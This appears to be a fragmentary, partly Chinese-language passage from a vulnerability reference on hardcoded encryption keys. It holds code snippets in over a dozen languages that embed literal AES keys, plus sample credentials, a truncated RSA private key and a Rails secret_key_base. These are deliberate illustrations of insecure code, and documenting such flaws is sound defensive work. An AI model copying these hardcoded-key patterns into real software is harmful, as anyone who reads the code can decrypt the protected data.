var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...
...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}
...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...
...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...
...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
{
"username":"scott"
"password":"tiger"
}
...
...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...
...
$encryption_key = 'hardcoded_encryption_key';
//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
_hardcoded__key_
。若不懷好意的員工有此資訊的存取權,可能會使用此資訊來洩漏由該系統加密的資料。
require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...
範例 2:以下程式碼會使用硬式編碼的加密金鑰執行 AES 加密:
...
let encryptionKey = "YELLOW_SUBMARINE"
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...
...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...